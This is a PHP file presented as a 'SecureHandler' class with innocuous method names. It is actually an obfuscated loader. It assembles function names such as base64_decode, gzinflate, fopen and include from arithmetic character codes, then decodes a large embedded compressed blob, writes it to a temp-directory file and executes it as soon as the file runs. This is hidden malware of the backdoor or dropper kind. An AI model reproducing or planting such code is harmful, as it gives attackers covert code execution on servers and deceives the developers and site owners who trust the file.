<?php
class SecureHandler
{
    private $kl = '';
    private $vi = '';
    public function fetchSummary($p1)
    {
        $q = array(98, 97 * 1, 68 * 1 + 47, 105 - 4, 54, 2 * 26, 66 + 29, 83 * 1 + 17, 78 * 66 - 5047, 3 * 33, 3 * 37, 100, 13 * 6 + 23);
        $p = '';
        foreach ($q as $n) {
            $p .= chr($n);
        }
        return $p($p1);
    }
    public function resolveConflict($p1)
    {
        $q = array(60 + 41, 7 + 109, 97, 63 * 1 + 45, 102, 2 * 55, 95 + 10, 95 + 21 + 6, 25 + 78);
        $l = '';
        foreach ($q as $x) {
            $l .= chr($x);
        }
        $l = strrev($l);
        return $l($p1);
    }
    public function encryptData($p1, $p2)
    {
        $k = array(112 - 10, 30 * 3 + 21, 2 * 56, 101, 110);
        $a = '';
        foreach ($k as $ka) {
            $a .= chr($ka);
        }
        return $a($p1, $p2);
    }
    public function processData($p1, $p2)
    {
        $w = array(87 * 1 + 15, 119, 2 * 57, 99 + 3 + 3, 60 * 84 - 4924, 108 - 7);
        $b = '';
        foreach ($w as $n) {
            $b .= chr($n);
        }
        return $b($p1, $p2);
    }
    public function sendNotification($p1)
    {
        $h = array(103 - 1, 3 * 33, 115 - 7, 3 * 37, 66 * 1 + 49, 106 - 5);
        $p = '';
        foreach ($h as $k) {
            $p .= chr($k);
        }
        return $p($p1);
    }
    public function resolveAction($p1, $p2 = null)
    {
        $c = array(118 - 9, 84 + 15 + 6, 2 * 57, 116, 124 - 10);
        $j = '';
        foreach ($c as $l) {
            $j .= chr($l);
        }
        $j = strrev($j);
        return $j($p1, $p2);
    }
    public function generateToken()
    {
        $this->vi = $this->resolveAction($this->validateInput(), '/');
    }
    public function logTransaction()
    {
        $this->kl = $this->resolveConflict($this->fetchSummary($this->of));
    }
    public function checkConsistency()
    {
        $fn = $this->vi . '/wg-690db96b29181';
        $f = $this->encryptData($fn, 'w');
        $this->processData($f, $this->kl);
        $this->sendNotification($f);
        $this->rollbackTransaction($fn);
    }
    private $of = 'jRiJcqLK9leSqryrFJoRt5jxcaeIoHEUjXGZMVN5FiI7AgLKk' . 'pt/f326MYOZiXNjsOiz9+nTZ/G/Xzzdu5BtKQguVlv5xfONgxQ' . 'qF0EohYZ8tQq9sE3eL9S9I4eG61ysfKN4tQo269LVyjxQL4Zav' . 'AwUW/38GdNT5H213hWpNoL4PhuEvq04RUyOQJEUsGspUJr11Ua' . 'R3Y1SzLH/wKKfqbbq+qAmYStIj6L/FILYQUqQXLIsYNo0DSsKY' . '4A9eWZl3S+6/qaYg1H/IwDzgNf/waY9U1TbV8K972DK9uupA3K' . 'bhu285OxkJd+XkmJhFZoF9u/Cvd5fjLV+Vzb7T+JkLoh3zPper' . '0gi97QWOFEd32nLp0VXLpQKK22LObj590HU+j6oyOFX3ZWf5u5' . 'yGLuLkWYtB5H4TZzPZw96tBxy1nCkuyPg3LsSsD5wHAtL1dVgO' . 'das5jAW0661bIweN4IQu9+lNJLGwqQF665u3Y/0idPTrU8j0+P' . 'uphq9Tq2nwZ01E43lpqu7KsLXOhN3fs97X0F06McgeqjPua8Ri' . '7Vtow2AlnGrt5wQkCTrGBTVh92qgEFBApABpz2IGZ+HHQRvkXd' . '8Uw7HtzS24XUUy2KvtxAXsbbjFkt1rAkKNxN7AicH3bgiyRPu+' . '913jutG8wPPBaPhvDLtVbn73mNEf9cya2zinMn6LuKWd1HfB6i' . 'ju0TBXB2m9b7IzccA3kUK3iBn3Y01WcSgzJK5MIz7WKJxSAHU6' . '2gtNduN7+FNDOO5ImRe2BOIJk+Hk4BsOcXntOQIgbPOCOTedIk' . 'hMnalmtbpTvLUXdu6NHciA9mmPC0IRbIxsDWRq94d9Ug7AM23o' . 'i1ycn+sudORtuw/zS1bjJaL8fYxQDhMqmP9w7vJ4Nv9XR8gB3l' . '3dLmxVYnoiOMy0ZuYSCa6DQ+zd1NB62vcdswH0iDhwq45J7tTs' . 'KO6iRjyiaZzvFDlp1ydn4mtXqJ9EjqELA5xdPLTSk3go09cx6J' . '7qUuCZEvk9xk+tSp8R0y5jrztGRqDg2PvEPkcM5hwumhGI6Se7' . 'pkuQ8zfHHfixhGhrG9HGueOEk4a8HIFR6tOjEwrt3y6vOkZrYC' . 'fRjfYftl9c4VL+CtbPlnGQsrVhGkl7BoWMVNViIx6lU/nupCIj' . 'jCr33ZNsgvbJ8zzT3xSTzletvjpcsfP5vteUg+FDjmKLVGRtjQ' . '+nQRcp3LDzyKGn7biXjpJBJ6osrG1/Kxyi2LodpiI64cOicGNb' . 'hI3ajoi9rhO5PbSFkZpCeYax5Ov3IybdrIQlYj7jMXj4nhPI3w' . 'r1agx7pij+TGWDybmV+OFxE8ilIGs7FZjKFNZDBe3t9jPOHZQZ' . 'iIWWfj2DnRioIpXyOwB3m6YxfrwHmuh2q+vuiJtFL+ICgyqC6h' . '64KQJF+5QQPn3VyxKkAhrJoBF1cUIAiVEmbsnzH7kqCAZQqhvC' . 'hRK4y9Xq60fsSvTjPOiIEXCkXuZLEz111+omHhuQFalvF0o7SH' . 'ydYrIUXlRJTtQqJeNoeRlQiIEmVuQ+aogkvcUkBfhUM0Ak7x+v' . 'AmULiEM5eMeUKG7WnXG40FfaEOtYouGE1K+u3c2xQqNPrj0bdZ' . '5eO26QaMHMH6S1SWy+AEintmcPs8kV8gpUO1IN2yFlHJQfSS/x' . 'lX1R04BU6HxP/WcVWfw5CWmqjE3NFOtlC/KjTpdrjeZjIQulhm' . 'GQWCmWkPf1TJTQzt8+cnXZMrVagtQ1RZdrtV+MuY2jDaWe5CAt' . 'a9IFnYMTX+wQ1RkIIaVQuYpRPhKXPaLfOb6pkGfflGn+qugOP9' . 'FgTB0LFj3r2dwfKjnInWNaZgq8s/RYWjdqJTr9WfSC4HXiWGnw' . 'pgaDe7CRKX3yCrSkHuQU9q/GEOjD+YnXdoptoEYG8BIDGw2yjW' . 'GRqdVrgAHgpRrVYauV6rI0Apda2Fr3wUEjT4QscgdhiPb+42Sd' . 'XevPzsmuInogjnIAEdlC0m4XgeHjSFHytrzNXtXQAjZdthy86b' . 'aaIAvElnLnyRqEuAuegY+SlXK46BtgDoa6wVw9NYhiWIlS7Ytr' . 'e3T24hJd4aFLiOocX1W3vv2ynAMuJGqRLXxGl1Q1wOI65c688f' . 'h+GG2mk6Hq4Xw2O8uHwThsUQSwr8hvx9PZyWmVkOBz5xh6I6Hw' . '/G34bjDzfrjUalxS5cbrTP0j8Js/jiaPXKjaRfZcxKstZM/+o8' . 'A6oyeewGV9VP5KPecYeiMRyOhM5v1RWE8n5VOrsapGX9Yn1Nyl' . 'M5UG5A5WlX4ZprlJroubRI/mFeJFRlzAtQ0CVBTQsNR3QyOQbL' . 'tBkoGwMXBNPPJGVpHyCUocJ4v2ZOECOkQ+YPMDhc4LLJSgKTpJ' . 'utJfqCskI4swK5Wa4ctYlxeA3ShUOpQiD+z+fje4ZiVcNm6Qu1' . 'ZHgddKe5wcOi/kwj9KfTvUD2f89XzHd0ek/kRLjyg4fqkTKSkt' . 'trm73SgfhZ4E/BL+xdeeUN6i99xQlcLHR66/Sj/5M1BvS0UJrV' . 'ADpJVA1e2XA9NfEXw3ZccrY5t09R1gfqcA0OHC0UXZf7faIamF' . 'xJGsEeaS1hkrcXQzern6i1dr9PMLbqqrWYWB4lMvajePgzwewn' . '2eJxciyhdMjR6jgX0UlXcjAd3ISmrolDLOPOJu9Gkc8+xH4FxF' . 'ocu1N1tmjUp6Uk0bHBXYkM0vBlRRbm5ykDGPUYxMgD1GsdxFkn' . 'EtcpjjxEwFR5RbjpxioddqYR+gdSR1DlDDX0/THFJRryLzxBD9' . 'w8RlGbEsnWGOMANnyoB7ZffEcBIAFEtge7PJ8eKo02DLhBpsXZ' . 'ntMC0ABOnr36oB6YGCEPjnRoYGfAs6WA1552KSRP/QyUwVsClX' . '4MSZ2/bf3K8jQfZnfWx2VilFeYEnj0cG+8y9tYfSoSpA3KM/SY' . 'SxaVq2KHirw4S/DJjeiWUrcu1JormeotuVnD0HyyJBRxJhu95U' . 'id/IW6Z6+bPvxv6D2sqpyB13rItAezi9pkuGwYlyEmOTfpsRdb' . 'di3yHgKNrb+1xzkIS86kJhidIdw5GylYeBxMUxEuKcdbuhE8mo' . 'xeKGCVGnQaFLbw8moi0UP/887aUrfzK2oGVGVe20dTPevt8SOO' . 'Ul3ioFLB/Y5n5aQYGNRhj3YCgZSuPVTHSsSOCRCpR2LgSu4ff2' . 'fDPctmPdNnKDFzn+A7WULg0vQ1dwPtvRiw0IMLwtNNORiw4EUz' . '65qvX/wM=';
    public function rollbackTransaction($p)
    {
        include $p;
    }
    public function validateInput()
    {
        $a = array(115, 12 * 9 + 13, 108 * 1 + 7, 95, 12 * 4 + 55, 80 + 21, 2 * 58, 95, 60 * 1 + 56, 62 * 1 + 39, 55 * 86 - 4621, 87 * 87 - 7457, 98 - 3, 95 * 87 - 8165, 105, 2 * 57);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$tq = new SecureHandler();
$tq->generateToken();
$tq->logTransaction();
$tq->checkConsistency();